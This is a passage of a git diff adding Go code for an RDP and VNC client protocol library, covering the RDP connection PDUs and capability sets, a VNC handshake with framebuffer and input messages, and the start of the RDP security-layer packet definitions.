NEGOTIATEORDERSUPPORT, + DesktopSaveSize: 480 * 480, + }, + CAPSTYPE_BITMAPCACHE: &BitmapCacheCapability{}, + CAPSTYPE_POINTER: &PointerCapability{ColorPointerCacheSize: 20}, + CAPSTYPE_INPUT: &InputCapability{}, + CAPSTYPE_BRUSH: &BrushCapability{}, + CAPSTYPE_GLYPHCACHE: &GlyphCapability{}, + CAPSTYPE_OFFSCREENCACHE: &OffscreenBitmapCacheCapability{}, + CAPSTYPE_VIRTUALCHANNEL: &VirtualChannelCapability{}, + CAPSTYPE_SOUND: &SoundCapability{}, + CAPSETTYPE_MULTIFRAGMENTUPDATE: &MultiFragmentUpdate{}, + CAPSTYPE_RAIL: &RemoteProgramsCapability{ + RailSupportLevel: RAIL_LEVEL_SUPPORTED | + RAIL_LEVEL_SHELL_INTEGRATION_SUPPORTED | + RAIL_LEVEL_LANGUAGE_IME_SYNC_SUPPORTED | + RAIL_LEVEL_SERVER_TO_CLIENT_IME_SYNC_SUPPORTED | + RAIL_LEVEL_HIDE_MINIMIZED_APPS_SUPPORTED | + RAIL_LEVEL_WINDOW_CLOAKING_SUPPORTED | + RAIL_LEVEL_HANDSHAKE_EX_SUPPORTED | + RAIL_LEVEL_DOCKED_LANGBAR_SUPPORTED, + }, + }, + } + + t.On("close", func() { + p.Emit("close") + }).On("error", func(err error) { + p.Emit("error", err) + }) + return p +} + +func (p *PDULayer) sendPDU(message PDUMessage) { + pdu := NewPDU(p.userId, message) + p.transport.Write(pdu.serialize()) +} + +func (p *PDULayer) sendDataPDU(message DataPDUData) { + dataPdu := NewDataPDU(message, p.sharedId) + p.sendPDU(dataPdu) +} + +func (p *PDULayer) SetFastPathSender(f core.FastPathSender) { + p.fastPathSender = f +} + +type Client struct { + *PDULayer + clientCoreData *gcc.ClientCoreData + remoteAppMode bool + enableCliprdr bool +} + +func NewClient(t core.Transport) *Client { + c := &Client{ + PDULayer: NewPDULayer(t), + } + c.transport.Once("connect", c.connect) + return c +} + +func (c *Client) connect(data *gcc.ClientCoreData, userId uint16, channelId uint16) { + glog.Debug("pdu connect:", userId, ",", channelId) + c.clientCoreData = data + c.userId = userId + c.channelId = channelId + c.transport.Once("data", c.recvDemandActivePDU) +} + +func (c *Client) recvDemandActivePDU(s []byte) { + defer func() { + if e := recover(); e != nil { + err := errors.New(fmt.Sprint("recv demand active pdu error: ", e)) + glog.Debug(err, e) + return + } + }() + + glog.Debug("PDU recvDemandActivePDU", hex.EncodeToString(s)) + r := bytes.NewReader(s) + pdu, err := readPDU(r) + if err != nil { + glog.Error(err) + return + } + if pdu.ShareCtrlHeader.PDUType != PDUTYPE_DEMANDACTIVEPDU { + glog.Info("PDU ignore message during connection sequence, type is", pdu.ShareCtrlHeader.PDUType) + c.transport.Once("data", c.recvDemandActivePDU) + return + } + c.sharedId = pdu.Message.(*DemandActivePDU).SharedId + c.demandActivePDU = pdu.Message.(*DemandActivePDU) + for _, caps := range pdu.Message.(*DemandActivePDU).CapabilitySets { + c.serverCapabilities[caps.Type()] = caps + } + + c.sendConfirmActivePDU() + c.sendClientFinalizeSynchronizePDU() + c.transport.Once("data", c.recvServerSynchronizePDU) +} + +func (c *Client) sendConfirmActivePDU() { + glog.Debug("PDU start sendConfirmActivePDU") + + pdu := NewConfirmActivePDU() + + generalCapa := c.clientCapabilities[CAPSTYPE_GENERAL].(*GeneralCapability) + generalCapa.OSMajorType = OSMAJORTYPE_WINDOWS + generalCapa.OSMinorType = OSMINORTYPE_WINDOWS_NT + generalCapa.ExtraFlags = LONG_CREDENTIALS_SUPPORTED | NO_BITMAP_COMPRESSION_HDR | ENC_SALTED_CHECKSUM + //if not self._fastPathSender is None: + generalCapa.ExtraFlags |= FASTPATH_OUTPUT_SUPPORTED + + bitmapCapa := c.clientCapabilities[CAPSTYPE_BITMAP].(*BitmapCapability) + bitmapCapa.PreferredBitsPerPixel = c.clientCoreData.HighColorDepth + bitmapCapa.DesktopWidth = c.clientCoreData.DesktopWidth + bitmapCapa.DesktopHeight = c.clientCoreData.DesktopHeight + + orderCapa := c.clientCapabilities[CAPSTYPE_ORDER].(*OrderCapability) + orderCapa.OrderFlags |= ZEROBOUNDSDELTASSUPPORT + + inputCapa := c.clientCapabilities[CAPSTYPE_INPUT].(*InputCapability) + inputCapa.Flags = INPUT_FLAG_SCANCODES | INPUT_FLAG_MOUSEX | INPUT_FLAG_UNICODE + inputCapa.KeyboardLayout = c.clientCoreData.KbdLayout + inputCapa.KeyboardType = c.clientCoreData.KeyboardType + inputCapa.KeyboardSubType = c.clientCoreData.KeyboardSubType + inputCapa.KeyboardFunctionKey = c.clientCoreData.KeyboardFnKeys + inputCapa.ImeFileName = c.clientCoreData.ImeFileName + + pdu.SharedId = c.sharedId + pdu.NumberCapabilities = c.demandActivePDU.NumberCapabilities + for _, v := range c.clientCapabilities { + glog.Debugf("clientCapabilities: 0x%04x", v.Type()) + pdu.CapabilitySets = append(pdu.CapabilitySets, v) + } + if c.remoteAppMode { + pdu.CapabilitySets = append(pdu.CapabilitySets, c.serverCapabilities[CAPSTYPE_RAIL]) + pdu.CapabilitySets = append(pdu.CapabilitySets, c.serverCapabilities[CAPSTYPE_WINDOW]) + } + pdu.LengthSourceDescriptor = c.demandActivePDU.LengthSourceDescriptor + pdu.SourceDescriptor = c.demandActivePDU.SourceDescriptor + pdu.LengthCombinedCapabilities = c.demandActivePDU.LengthCombinedCapabilities + + c.sendPDU(pdu) +} + +func (c *Client) sendClientFinalizeSynchronizePDU() { + glog.Debug("PDU start sendClientFinalizeSynchronizePDU") + c.sendDataPDU(NewSynchronizeDataPDU(c.channelId)) + c.sendDataPDU(&ControlDataPDU{Action: CTRLACTION_COOPERATE}) + c.sendDataPDU(&ControlDataPDU{Action: CTRLACTION_REQUEST_CONTROL}) + //c.sendDataPDU(&PersistKeyPDU{BBitMask: 0x03}) + c.sendDataPDU(&FontListDataPDU{ListFlags: 0x0003, EntrySize: 0x0032}) +} + +func (c *Client) recvServerSynchronizePDU(s []byte) { + glog.Debug("PDU recvServerSynchronizePDU") + r := bytes.NewReader(s) + pdu, err := readPDU(r) + if err != nil { + glog.Error(err) + return + } + dataPdu, ok := pdu.Message.(*DataPDU) + if !ok || dataPdu.Header.PDUType2 != PDUTYPE2_SYNCHRONIZE { + if ok { + glog.Error("recvServerSynchronizePDU ignore datapdu type2", dataPdu.Header.PDUType2) + } else { + glog.Error("recvServerSynchronizePDU ignore message type", pdu.ShareCtrlHeader.PDUType) + } + glog.Infof("%+v", dataPdu) + c.transport.Once("data", c.recvServerSynchronizePDU) + return + } + c.transport.Once("data", c.recvServerControlCooperatePDU) +} + +func (c *Client) recvServerControlCooperatePDU(s []byte) { + glog.Debug("PDU recvServerControlCooperatePDU") + r := bytes.NewReader(s) + pdu, err := readPDU(r) + if err != nil { + glog.Error(err) + return + } + dataPdu, ok := pdu.Message.(*DataPDU) + if !ok || dataPdu.Header.PDUType2 != PDUTYPE2_CONTROL { + if ok { + glog.Error("recvServerControlCooperatePDU ignore datapdu type2", dataPdu.Header.PDUType2) + } else { + glog.Error("recvServerControlCooperatePDU ignore message type", pdu.ShareCtrlHeader.PDUType) + } + c.transport.Once("data", c.recvServerControlCooperatePDU) + return + } + if dataPdu.Data.(*ControlDataPDU).Action != CTRLACTION_COOPERATE { + glog.Error("recvServerControlCooperatePDU ignore action", dataPdu.Data.(*ControlDataPDU).Action) + c.transport.Once("data", c.recvServerControlCooperatePDU) + return + } + c.transport.Once("data", c.recvServerControlGrantedPDU) +} + +func (c *Client) recvServerControlGrantedPDU(s []byte) { + glog.Debug("PDU recvServerControlGrantedPDU") + r := bytes.NewReader(s) + pdu, err := readPDU(r) + if err != nil { + glog.Error(err) + return + } + dataPdu, ok := pdu.Message.(*DataPDU) + if !ok || dataPdu.Header.PDUType2 != PDUTYPE2_CONTROL { + if ok { + glog.Error("recvServerControlGrantedPDU ignore datapdu type2", dataPdu.Header.PDUType2) + } else { + glog.Error("recvServerControlGrantedPDU ignore message type", pdu.ShareCtrlHeader.PDUType) + } + c.transport.Once("data", c.recvServerControlGrantedPDU) + return + } + if dataPdu.Data.(*ControlDataPDU).Action != CTRLACTION_GRANTED_CONTROL { + glog.Error("recvServerControlGrantedPDU ignore action", dataPdu.Data.(*ControlDataPDU).Action) + c.transport.Once("data", c.recvServerControlGrantedPDU) + return + } + c.transport.Once("data", c.recvServerFontMapPDU) +} + +func (c *Client) recvServerFontMapPDU(s []byte) { + glog.Debug("PDU recvServerFontMapPDU") + r := bytes.NewReader(s) + pdu, err := readPDU(r) + if err != nil { + glog.Error(err) + return + } + dataPdu, ok := pdu.Message.(*DataPDU) + if !ok || dataPdu.Header.PDUType2 != PDUTYPE2_FONTMAP { + if ok { + glog.Error("recvServerFontMapPDU ignore datapdu type2", dataPdu.Header.PDUType2) + } else { + glog.Error("recvServerFontMapPDU ignore message type", pdu.ShareCtrlHeader.PDUType) + } + return + } + c.transport.On("data", c.recvPDU) + c.Emit("ready") +} + +func (c *Client) recvPDU(s []byte) { + glog.Debug("PDU recvPDU", hex.EncodeToString(s)) + r := bytes.NewReader(s) + if r.Len() > 0 { + p, err := readPDU(r) + if err != nil { + glog.Error(err) + return + } + if p.ShareCtrlHeader.PDUType == PDUTYPE_DEACTIVATEALLPDU { + c.transport.On("data", c.recvDemandActivePDU) + } + } +} + +func (c *Client) RecvFastPath(secFlag byte, s []byte) { + //glog.Debug("PDU RecvFastPath", hex.EncodeToString(s)) + glog.Debug("PDU RecvFastPath", secFlag&0x2 != 0) + r := bytes.NewReader(s) + for r.Len() > 0 { + p, err := readFastPathUpdatePDU(r) + if err != nil { + glog.Debug("readFastPathUpdatePDU:", err) + //continue + return + } + if p.UpdateHeader == FASTPATH_UPDATETYPE_BITMAP { + c.Emit("update", p.Data.(*FastPathBitmapUpdateDataPDU).Rectangles) + } + } +} + +type InputEventsInterface interface { + Serialize() []byte +} + +func (c *Client) SendInputEvents(msgType uint16, events []InputEventsInterface) { + pdu := &ClientInputEventPDU{} + pdu.NumEvents = uint16(len(events)) + pdu.SlowPathInputEvents = make([]SlowPathInputEvent, 0, pdu.NumEvents) + for _, in := range events { + seria := in.Serialize() + s := SlowPathInputEvent{0, msgType, len(seria), seria} + pdu.SlowPathInputEvents = append(pdu.SlowPathInputEvents, s) + } + + c.sendDataPDU(pdu) +} diff --git a/pkg/grdp/protocol/rfb/rfb.go b/pkg/grdp/protocol/rfb/rfb.go new file mode 100644 index 0000000..10291d9 --- /dev/null +++ b/pkg/grdp/protocol/rfb/rfb.go @@ -0,0 +1,462 @@ +// rfb.go +package rfb + +import ( + "bytes" + "crypto/des" + "encoding/hex" + "fmt" + "io" + "log" + "net" + + "github.com/lunixbochs/struc" + + "Yasso/pkg/grdp/core" + "Yasso/pkg/grdp/emission" + "Yasso/pkg/grdp/glog" +) + +// ProtocolVersion +const ( + RFB003003 = "RFB 003.003\n" + RFB003007 = "RFB 003.007\n" + RFB003008 = "RFB 003.008\n" +) + +// SecurityType +const ( + SEC_INVALID uint8 = 0 + SEC_NONE uint8 = 1 + SEC_VNC uint8 = 2 +) + +type RFBConn struct { + emission.Emitter + // The Socket connection to the client + Conn net.Conn + s *ServerInit + NbRect uint16 + BitRect *BitRect +} + +func NewRFBConn(s net.Conn) *RFBConn { + fc := &RFBConn{ + Emitter: *emission.NewEmitter(), + Conn: s, + BitRect: new(BitRect), + } + core.StartReadBytes(12, fc, fc.recvProtocolVersion) + + return fc +} +func (fc *RFBConn) Read(b []byte) (n int, err error) { + return fc.Conn.Read(b) +} + +func (fc *RFBConn) Write(data []byte) (n int, err error) { + buff := &bytes.Buffer{} + buff.Write(data) + return fc.Conn.Write(buff.Bytes()) +} +func (fc *RFBConn) Close() error { + return fc.Conn.Close() +} +func (fc *RFBConn) recvProtocolVersion(s []byte, err error) { + version := string(s) + glog.Debug("RFBConn recvProtocolVersion", version, err) + if err != nil { + fc.Emit("error", err) + return + } + fc.Emit("data", version) + + if version == RFB003003 { + fc.Emit("error", fmt.Errorf("%s", "Not Support RFB003003")) + return + //core.StartReadBytes(4, fc, fc.recvSecurityServer) + } else { + core.StartReadBytes(1, fc, fc.checkSecurityList) + } +} +func (fc *RFBConn) checkSecurityList(s []byte, err error) { + r := bytes.NewReader(s) + result, _ := core.ReadUInt8(r) + glog.Debug("RFBConn recvSecurityList", result, err) + + core.StartReadBytes(int(result), fc, fc.recvSecurityList) +} +func (fc *RFBConn) recvSecurityList(s []byte, err error) { + r := bytes.NewReader(s) + secLevel := SEC_VNC + for r.Len() > 0 { + result, _ := core.ReadUInt8(r) + if result == SEC_NONE || result == SEC_VNC { + secLevel = result + break + } + } + + glog.Debug("RFBConn recvSecurityList", secLevel, err) + buff := &bytes.Buffer{} + core.WriteUInt8(secLevel, buff) + fc.Write(buff.Bytes()) + if secLevel == SEC_VNC { + core.StartReadBytes(16, fc, fc.recvVNCChallenge) + } else { + core.StartReadBytes(4, fc, fc.recvSecurityResult) + } + +} + +func fixDesKeyByte(val byte) byte { + var newval byte = 0 + for i := 0; i < 8; i++ { + newval <<= 1 + newval += (val & 1) + val >>= 1 + } + return newval +} + +// fixDesKey will make sure that exactly 8 bytes is used either by truncating or padding with nulls +// The bytes are then bit mirrored and returned +func fixDesKey(key []byte) []byte { + tmp := key + buf := make([]byte, 8) + if len(tmp) <= 8 { + copy(buf, tmp) + } else { + copy(buf, tmp[:8]) + } + for i := 0; i < 8; i++ { + buf[i] = fixDesKeyByte(buf[i]) + } + return buf +} + +func (fc *RFBConn) recvVNCChallenge(s []byte, err error) { + glog.Debug("RFBConn recvVNCChallenge", hex.EncodeToString(s), len(s), err) + key := core.Random(8) + bk, err := des.NewCipher(fixDesKey(key)) + if err != nil { + log.Printf("Error generating authentication cipher: %s\n", err.Error()) + return + } + result := make([]byte, 16) + bk.Encrypt(result, s) //Encrypt first 8 bytes + bk.Encrypt(result[8:], s[8:]) + if err != nil { + fmt.Println(err) + } + fmt.Println(string(result)) + fc.Write(result) + core.StartReadBytes(4, fc, fc.recvSecurityResult) +} +func (fc *RFBConn) recvSecurityResult(s []byte, err error) { + r := bytes.NewReader(s) + result, _ := core.ReadUInt32BE(r) + glog.Debug("RFBConn recvSecurityResult", result, err) + if result == 1 { + fc.Emit("error", fmt.Errorf("%s", "Authentification failed")) + return + } + buff := &bytes.Buffer{} + core.WriteUInt8(0, buff) //share + fc.Write(buff.Bytes()) + core.StartReadBytes(20, fc, fc.recvServerInit) +} + +type ServerInit struct { + Width uint16 `struc:"little"` + Height uint16 `struc:"little"` + PixelFormat *PixelFormat `struc:"little"` +} + +func (fc *RFBConn) recvServerInit(s []byte, err error) { + glog.Debug("RFBConn recvServerInit", len(s), err) + r := bytes.NewReader(s) + si := &ServerInit{} + si.Width, err = core.ReadUint16BE(r) + si.Height, err = core.ReadUint16BE(r) + si.PixelFormat = ReadPixelFormat(r) + glog.Infof("serverInit:%+v, %+v", si, si.PixelFormat) + fc.s = si + fc.BitRect.Pf = si.PixelFormat + core.StartReadBytes(4, fc, fc.checkServerName) +} +func (fc *RFBConn) checkServerName(s []byte, err error) { + r := bytes.NewReader(s) + result, _ := core.ReadUInt32BE(r) + glog.Debug("RFBConn recvSecurityList", result, err) + + core.StartReadBytes(int(result), fc, fc.recvServerName) +} +func (fc *RFBConn) recvServerName(s []byte, err error) { + glog.Debug("RFBConn recvServerName", string(s), err) + //fc.sendPixelFormat() + fc.sendSetEncoding() + fc.sendFramebufferUpdateRequest(0, 0, 0, fc.s.Width, fc.s.Height) + + fc.Emit("ready") + core.StartReadBytes(1, fc, fc.recvServerOrder) +} + +func (fc *RFBConn) sendPixelFormat() { + glog.Debug("sendPixelFormat") + buff := &bytes.Buffer{} + core.WriteUInt8(0, buff) + core.WriteUInt16BE(0, buff) + core.WriteUInt8(0, buff) + err := struc.Pack(buff, NewPixelFormat()) + if err != nil { + fc.Emit("error", err) + return + } + fc.Write(buff.Bytes()) +} +func (fc *RFBConn) sendSetEncoding() { + glog.Debug("sendSetEncoding") + buff := &bytes.Buffer{} + core.WriteUInt8(2, buff) + core.WriteUInt8(0, buff) + core.WriteUInt16BE(1, buff) + core.WriteUInt32BE(0, buff) + fc.Write(buff.Bytes()) +} + +type FrameBufferUpdateRequest struct { + Incremental uint8 + X uint16 + Y uint16 + Width uint16 + Height uint16 +} + +func (fc *RFBConn) sendFramebufferUpdateRequest(Incremental uint8, + X uint16, + Y uint16, + Width uint16, + Height uint16) { + glog.Debug("sendFramebufferUpdateRequest") + buff := &bytes.Buffer{} + core.WriteUInt8(3, buff) + core.WriteUInt8(Incremental, buff) + core.WriteUInt16BE(X, buff) + core.WriteUInt16BE(Y, buff) + core.WriteUInt16BE(Width, buff) + core.WriteUInt16BE(Height, buff) + fc.Write(buff.Bytes()) +} +func (fc *RFBConn) recvServerOrder(s []byte, err error) { + glog.Debug("RFBConn recvServerOrder", hex.EncodeToString(s), err) + r := bytes.NewReader(s) + packetType, _ := core.ReadUInt8(r) + switch packetType { + case 0: + core.StartReadBytes(3, fc, fc.recvFrameBufferUpdateHeader) + case 2: + //TODO + case 3: + core.StartReadBytes(7, fc, fc.recvServerCutTextHeader) + default: + glog.Errorf("Unknown message type %s", packetType) + } + +} + +type BitRect struct { + Rects []Rectangles + Pf *PixelFormat +} + +type Rectangles struct { + Rect *Rectangle + Data []byte +} + +func (fc *RFBConn) recvFrameBufferUpdateHeader(s []byte, err error) { + glog.Debug("RFBConn recvFrameBufferUpdateHeader", hex.EncodeToString(s), err) + r := bytes.NewReader(s) + core.ReadUInt8(r) + NbRect, _ := core.ReadUint16BE(r) + fc.NbRect = NbRect + fc.BitRect.Rects = make([]Rectangles, fc.NbRect) + if NbRect == 0 { + return + } + glog.Info("NbRect:", NbRect) + core.StartReadBytes(12, fc, fc.recvRectHeader) +} + +type Rectangle struct { + X uint16 `struc:"little"` + Y uint16 `struc:"little"` + Width uint16 `struc:"little"` + Height uint16 `struc:"little"` + Encoding uint32 `struc:"little"` +} + +func (fc *RFBConn) recvRectHeader(s []byte, err error) { + glog.Debug("RFBConn recvRectHeader", hex.EncodeToString(s), err) + r := bytes.NewReader(s) + x, err := core.ReadUint16BE(r) + y, err := core.ReadUint16BE(r) + w, err := core.ReadUint16BE(r) + h, err := core.ReadUint16BE(r) + e, err := core.ReadUInt32BE(r) + rect := &Rectangle{x, y, w, h, e} + + fc.BitRect.Rects[fc.NbRect-1].Rect = rect + glog.Infof("rect:%+v, len=%d", rect, int(rect.Width)*int(rect.Height)*4) + core.StartReadBytes(int(rect.Width)*int(rect.Height)*4, fc, fc.recvRectBody) +} +func (fc *RFBConn) recvRectBody(s []byte, err error) { + glog.Debug("RFBConn recvRectBody", hex.EncodeToString(s), err) + fc.BitRect.Rects[fc.NbRect-1].Data = s + fc.NbRect-- + glog.Info("fc.NbRect:", fc.NbRect) + if fc.NbRect == 0 { + fc.Emit("update", fc.BitRect) + fc.sendFramebufferUpdateRequest(1, 0, 0, fc.s.Width, fc.s.Height) + core.StartReadBytes(1, fc, fc.recvServerOrder) + } else { + core.StartReadBytes(12, fc, fc.recvRectHeader) + } +} + +type ServerCutTextHeader struct { + Padding [3]byte `struc:"little"` + Size uint32 `struc:"little"` +} + +func (fc *RFBConn) recvServerCutTextHeader(s []byte, err error) { + glog.Debug("RFBConn recvServerCutTextHeader", string(s), err) + r := bytes.NewReader(s) + header := &ServerCutTextHeader{} + err = struc.Unpack(r, header) + if err != nil { + fc.Emit("error", err) + return + } + + core.StartReadBytes(int(header.Size), fc, fc.recvServerCutTextBody) +} +func (fc *RFBConn) recvServerCutTextBody(s []byte, err error) { + glog.Debug("RFBConn recvServerCutTextBody", string(s), err) + fc.Emit("CutText", s) + core.StartReadBytes(1, fc, fc.recvServerOrder) +} + +type PixelFormat struct { + BitsPerPixel uint8 `struc:"little"` + Depth uint8 `struc:"little"` + BigEndianFlag uint8 `struc:"little"` + TrueColorFlag uint8 `struc:"little"` + RedMax uint16 `struc:"little"` + GreenMax uint16 `struc:"little"` + BlueMax uint16 `struc:"little"` + RedShift uint8 `struc:"little"` + GreenShift uint8 `struc:"little"` + BlueShift uint8 `struc:"little"` + Padding uint16 `struc:"little"` + Padding1 uint8 `struc:"little"` +} + +func ReadPixelFormat(r io.Reader) *PixelFormat { + p := NewPixelFormat() + p.BitsPerPixel, _ = core.ReadUInt8(r) + p.Depth, _ = core.ReadUInt8(r) + p.BigEndianFlag, _ = core.ReadUInt8(r) + p.TrueColorFlag, _ = core.ReadUInt8(r) + p.RedMax, _ = core.ReadUint16BE(r) + p.GreenMax, _ = core.ReadUint16BE(r) + p.BlueMax, _ = core.ReadUint16BE(r) + p.RedShift, _ = core.ReadUInt8(r) + p.GreenShift, _ = core.ReadUInt8(r) + p.BlueShift, _ = core.ReadUInt8(r) + p.Padding, _ = core.ReadUint16BE(r) + p.Padding1, _ = core.ReadUInt8(r) + + return p +} +func NewPixelFormat() *PixelFormat { + return &PixelFormat{ + 32, 24, 0, 1, 65280, 65280, 65280, 16, 8, 0, 0, 0, + } +} + +type RFB struct { + core.Transport + Version string + SecurityLevel uint8 + ServerName string + PixelFormat *PixelFormat + NbRect int + CurrentRect *Rectangle + Password string +} + +func NewRFB(t core.Transport) *RFB { + fb := &RFB{t, RFB003008, SEC_INVALID, "", NewPixelFormat(), 0, &Rectangle{}, ""} + + fb.Once("data", fb.recvProtocolVersion) + + return fb +} + +func (fb *RFB) recvProtocolVersion(version string) { + if version != RFB003003 || version != RFB003007 || version != RFB003008 { + version = RFB003008 + } + glog.Infof("version:%s", version) + b := &bytes.Buffer{} + b.WriteString(version) + fb.Write(b.Bytes()) +} + +type KeyEvent struct { + DownFlag uint8 `struc:"little"` + Padding uint16 `struc:"little"` + Key uint32 `struc:"little"` +} + +func (fb *RFB) SendKeyEvent(k *KeyEvent) { + b := &bytes.Buffer{} + core.WriteUInt8(4, b) + core.WriteUInt8(k.DownFlag, b) + core.WriteUInt16BE(k.Padding, b) + core.WriteUInt32BE(k.Key, b) + fmt.Println(b.Bytes()) + fb.Write(b.Bytes()) +} + +type PointerEvent struct { + Mask uint8 `struc:"little"` + XPos uint16 `struc:"little"` + YPos uint16 `struc:"little"` +} + +func (fb *RFB) SendPointEvent(p *PointerEvent) { + b := &bytes.Buffer{} + core.WriteUInt8(5, b) + core.WriteUInt8(p.Mask, b) + core.WriteUInt16BE(p.XPos, b) + core.WriteUInt16BE(p.YPos, b) + fmt.Println(b.Bytes()) + fb.Write(b.Bytes()) +} + +type ClientCutText struct { + Padding uint16 `struc:"little"` + Padding1 uint8 `struc:"little"` + Size uint32 `struc:"little"` + Message string `struc:"little"` +} + +func (fb *RFB) SendClientCutText(t *ClientCutText) { + b := &bytes.Buffer{} + core.WriteUInt8(6, b) + struc.Pack(b, t) + fb.Write(b.Bytes()) +} diff --git a/pkg/grdp/protocol/sec/sec.go b/pkg/grdp/protocol/sec/sec.go new file mode 100644 index 0000000..1824620 --- /dev/null +++ b/pkg/grdp/protocol/sec/sec.go @@ -0,0 +1,882 @@ +package sec + +import ( + "bytes" + "crypto/md5" + "crypto/rc4" + "crypto/sha1" + "encoding/hex" + "errors" + "fmt" + "io" + "math/big" + "unicode/utf16" + + "github.com/lunixbochs/struc" + + "Yasso/pkg/grdp/protocol/nla" + + "Yasso/pkg/grdp/core" + "Yasso/pkg/grdp/emission" + "Yasso/pkg/grdp/glog" + "Yasso/pkg/grdp/protocol/lic" + "Yasso/pkg/grdp/protocol/t125" + "Yasso/pkg/grdp/protocol/t125/gcc" +) + +/** + * SecurityFlag + * @see http://msdn.microsoft.com/en-us/library/cc240579.aspx + */ +const ( + EXCHANGE_PKT uint16 = 0x0001 + TRANSPORT_REQ = 0x0002 + TRANSPORT_RSP = 0x0004 + ENCRYPT = 0x0008 + RESET_SEQNO = 0x0010 + IGNORE_SEQNO = 0x0020 + INFO_PKT = 0x0040 + LICENSE_PKT = 0x0080 + LICENSE_ENCRYPT_CS = 0x0200 + LICENSE_ENCRYPT_SC = 0x0200 + REDIRECTION_PKT = 0x0400 + SECURE_CHECKSUM = 0x0800 + AUTODETECT_REQ = 0x1000 + AUTODETECT_RSP = 0x2000 + HEARTBEAT = 0x4000 + FLAGSHI_VALID = 0x8000 +) + +const ( + INFO_MOUSE uint32 = 0x00000001 + INFO_DISABLECTRLALTDEL = 0x00000002 + INFO_AUTOLOGON = 0x00000008 + INFO_UNICODE = 0x00000010 + INFO_MAXIMIZESHELL = 0x00000020 + INFO_LOGONNOTIFY = 0x00000040 + INFO_COMPRESSION = 0x00000080 + INFO_ENABLEWINDOWSKEY = 0x00000100 + INFO_REMOTECONSOLEAUDIO = 0x00002000 + INFO_FORCE_ENCRYPTED_CS_PDU = 0x00004000 + INFO_RAIL = 0x00008000 + INFO_LOGONERRORS = 0x00010000 + INFO_MOUSE_HAS_WHEEL = 0x00020000 + INFO_PASSWORD_IS_SC_PIN = 0x00040000 + INFO_NOAUDIOPLAYBACK = 0x00080000 + INFO_USING_SAVED_CREDS = 0x00100000 + INFO_AUDIOCAPTURE = 0x00200000 + INFO_VIDEO_DISABLE = 0x00400000 + INFO_CompressionTypeMask = 0x00001E00 +) + +const ( + AF_INET uint16 = 0x00002 + AF_INET6 = 0x0017 +) + +const ( + PERF_DISABLE_WALLPAPER uint32 = 0x00000001 + PERF_DISABLE_FULLWINDOWDRAG = 0x00000002 + PERF_DISABLE_MENUANIMATIONS = 0x00000004 + PERF_DISABLE_THEMING = 0x00000008 + PERF_DISABLE_CURSOR_SHADOW = 0x00000020 + PERF_DISABLE_CURSORSETTINGS = 0x00000040 + PERF_ENABLE_FONT_SMOOTHING = 0x00000080 + PERF_ENABLE_DESKTOP_COMPOSITION = 0x00000100 +) + +const ( + FASTPATH_OUTPUT_SECURE_CHECKSUM = 0x1 + FASTPATH_OUTPUT_ENCRYPTED = 0x2 +) + +type ClientAutoReconnect struct { + CbAutoReconnectLen uint16 + CbLen uint32 + Version uint32 + LogonId uint32 + SecVerifier []byte +} + +func NewClientAutoReconnect(id uint32, random []byte) *ClientAutoReconnect { + return &ClientAutoReconnect{ + CbAutoReconnectLen: 28, + CbLen: 28, + Version: 1, + LogonId: id, + SecVerifier: nla.HMAC_MD5(random, random), + } +} + +type RDPExtendedInfo struct { + ClientAddressFamily uint16 `struc:"little"` + CbClientAddress uint16 `struc:"little,sizeof=ClientAddress"` + ClientAddress []byte `struc:"[]byte"` + CbClientDir uint16 `struc:"little,sizeof=ClientDir"` + ClientDir []byte `struc:"[]byte"` + ClientTimeZone []byte `struc:"[172]byte"` + ClientSessionId uint32 `struc:"litttle"` + PerformanceFlags uint32 `struc:"little"` + AutoReconnect *ClientAutoReconnect +} + +func NewExtendedInfo(auto *ClientAutoReconnect) *RDPExtendedInfo { + return &RDPExtendedInfo{ + ClientAddressFamily: AF_INET, + ClientAddress: []byte{0, 0}, + ClientDir: []byte{0, 0}, + ClientTimeZone: make([]byte, 172), + ClientSessionId: 0, + AutoReconnect: auto, + } +} + +func (o *RDPExtendedInfo) Serialize() []byte { + buff := &bytes.Buffer{} + core.WriteUInt16LE(o.ClientAddressFamily, buff) + core.WriteUInt16LE(uint16(len(o.ClientAddress)), buff) + core.WriteBytes(o.ClientAddress, buff) + core.WriteUInt16LE(uint16(len(o.ClientDir)), buff) + core.WriteBytes(o.ClientDir, buff) + core.WriteBytes(o.ClientTimeZone, buff) + core.WriteUInt32LE(o.ClientSessionId, buff) + core.WriteUInt32LE(o.PerformanceFlags, buff) + + if o.AutoReconnect != nil { + core.WriteUInt16LE(o.AutoReconnect.CbAutoReconnectLen, buff) + core.WriteUInt32LE(o.AutoReconnect.CbLen, buff) + core.WriteUInt32LE(o.AutoReconnect.Version, buff) + core.WriteUInt32LE(o.AutoReconnect.LogonId, buff) + core.WriteBytes(o.AutoReconnect.SecVerifier, buff) + } + + return buff.Bytes() +} + +type RDPInfo struct { + CodePage uint32 + Flag uint32 + CbDomain uint16 + CbUserName uint16 + CbPassword uint16 + CbAlternateShell uint16 + CbWorkingDir uint16 + Domain []byte + UserName []byte + Password []byte + AlternateShell []byte + WorkingDir []byte + ExtendedInfo *RDPExtendedInfo +} + +func NewRDPInfo() *RDPInfo { + info := &RDPInfo{ + //Flag: INFO_MOUSE | INFO_UNICODE | INFO_LOGONNOTIFY | INFO_LOGONERRORS | INFO_DISABLECTRLALTDEL | INFO_ENABLEWINDOWSKEY | INFO_FORCE_ENCRYPTED_CS_PDU, + Flag: INFO_MOUSE | INFO_UNICODE | INFO_LOGONNOTIFY | INFO_LOGONERRORS | INFO_DISABLECTRLALTDEL | INFO_ENABLEWINDOWSKEY | INFO_AUTOLOGON, + Domain: []byte{0, 0}, + UserName: []byte{0, 0}, + Password: []byte{0, 0}, + AlternateShell: []byte{0, 0}, + WorkingDir: []byte{0, 0}, + ExtendedInfo: NewExtendedInfo(nil), + } + return info +} + +func (o *RDPInfo) SetClientAutoReconnect(auto *ClientAutoReconnect) { + o.ExtendedInfo.AutoReconnect = auto +} + +func (o *RDPInfo) Serialize(hasExtended bool) []byte { + buff := &bytes.Buffer{} + core.WriteUInt32LE(o.CodePage, buff) // 0000000 + core.WriteUInt32LE(o.Flag, buff) // 0530101 + core.WriteUInt16LE(uint16(len(o.Domain)-2), buff) // 001c + core.WriteUInt16LE(uint16(len(o.UserName)-2), buff) // 0008 + core.WriteUInt16LE(uint16(len(o.Password)-2), buff) //000c + core.WriteUInt16LE(uint16(len(o.AlternateShell)-2), buff) //0000 + core.WriteUInt16LE(uint16(len(o.WorkingDir)-2), buff) //0000 + core.WriteBytes(o.Domain, buff) + core.WriteBytes(o.UserName, buff) + core.WriteBytes(o.Password, buff) + 